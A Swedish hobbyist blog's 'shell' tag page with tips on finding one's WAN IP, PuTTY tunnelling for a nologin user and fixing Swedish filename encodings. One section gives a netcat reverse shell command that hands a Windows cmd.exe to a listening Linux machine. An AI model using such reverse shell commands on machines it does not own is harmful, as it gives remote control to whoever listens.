Jörgens liv och leverne

Lite osammanhängade om Jörgen och hans liv...

Etikett: shell

Kolla vilken WAN IP du har

Om du vill kolla vilken WAN IP du har använder du oftast curl, eller hur?

curl icanhazip.com

Om du inte har curl, wget eller någon annan av de klassiska så kan du använda dig i stället.

dig TXT o-o.myaddr.l.google.com @ns1.google.com +short

Bra om du sitter i en begränsad miljö och behöver veta

Reverse shell

På din linux maskin skriver du

nc -l 9090

På fjärrdatorn (windows) skriver du

nc 192.168.1.222 9090 -e cmd.exe

Vips lustigt så har du ett dos-shell från windows maskinen i ditt linux shell. Om du vill göra denna övning över internet så måste rätt portar öppnas i de routrar på vägen mellan maskinerna.

Netcat (nc) finns default i de flesta linux, för windows så måste du ladda ner filen från SecurityFocus eller eller från mig (samma fil)

När du tunnlar med putty och inte vill ha ett shell

Om har valt att konfigurerar putty som en tunnel och samtidigt flyttar din ssh daemon till oprt 443 så leker livet, förutom när du vill låta en bekant använda tunneln…  Det kan då kännas osäkert att låta din bekant få tillgång till ett shell, speciellt då samme bekant är lindrigt bevandrad I hur man använder ett linux shell på ett bra sätt Smile  

Knepet är då att skapa en ny användare för din bekant, använd lösen eller nycklar for authentisering. Användarens shell sätts självklart till /sbin/nologin och nu leker livet… trodde du…  I en sådan här uppsättning så kopplar putty ner direkt, så tunneln som så vacker lockat rasar direkt.

Lösningen på det är att I putty under connection –> ssh sätta en bock I rutan Don’t start a shell or command at all. Då hålls tunneln öppen även för användare som har nologin som shell.

Fiffigt, eller hur

image

Locales from hell

Antingen är det bara jag som har prblem eller så är jag helt usel på att googla… Men jag har alltid haft problem när man kombinerar samba linux putty och windows.

Det blir alltid knas med svenska filnamn och jag har fått sitta och editera samba conf:en och locales och en massa små filer för att få det att fungera bra, dvs. dom svenska tecknen i filnamn ska visas som svenska i putty, i alla samba shares och man ska kunna skapa svenska filnamn från windows och terminalen och det ska fortfarande vara svenska tecken oavsett hur man tittar på filnamnen.

ÄNTLIGEN har jag fått fram en lösning!

Steg ett är att editera

/etc/default/locale

det enda som ska stå i den filen är

LANG="sv_SE.UTF-8"
LC_CTYPE="en_US.UTF-8"
LC_NUMERIC="sv_SE.UTF-8"
LC_TIME="sv_SE.UTF-8"
LC_COLLATE="sv_SE.UTF-8"
LC_MONETARY="sv_SE.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="sv_SE.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="sv_SE.UTF-8"
LC_TELEPHONE="sv_SE.UTF-8"
LC_MEASUREMENT="sv_SE.UTF-8"
LC_IDENTIFICATION="sv_SE.UTF-8"
LC_ALL=

Sen ska du i putty ändra translation till UTF-8 (I inställningarna för putty ligger det under Windows –> translation)

Nu leker livet och allt är bra, om du nu har filer på din linux disk som är sedan tidigare och visar konstiga tecken i svenska filnamn har du bara lite mer att trixa med sen kommer ditt liv att vara solig och glatt, åtminstonde under överskådlig framtid…

Testa att skriva

ls | iconv -f ISO_8859-15 -t UTF-8

Här kan du undersöka vilket format de gamla svenska tecknen har, byt ut ISO_8859-15 mot andra kodningar så formas tecknen om till UTF-8 när dom listas. När du klurat ut vilken kodning dom har, dvs. när dom visas rätt så kan du konvertera filnamnet med

convmv -f ISO_8859-15 -t UTF-8 *

Samma här, den kodning du fick fram i förra steget använder du i –f parametern (-f från & –t till). Kör du kommandot så här så visar den bara vad som görs, ingen ändring görs. är du är övertygad att det blir bra så lägger du bara till –notest på slutet av raden så görs ändringarna på riktigt.

Och om det skulle skita sig så läser du bara in säkerhetskopiorna du gjorde innan du började, då är allt som vanligt igen och du kan försöka en gång till.

Det här fungerade bra med min Ubuntu 8.10 server, men jag ser inga problem med att göra så här på andra distributioner. Så länge som alla binärer finns…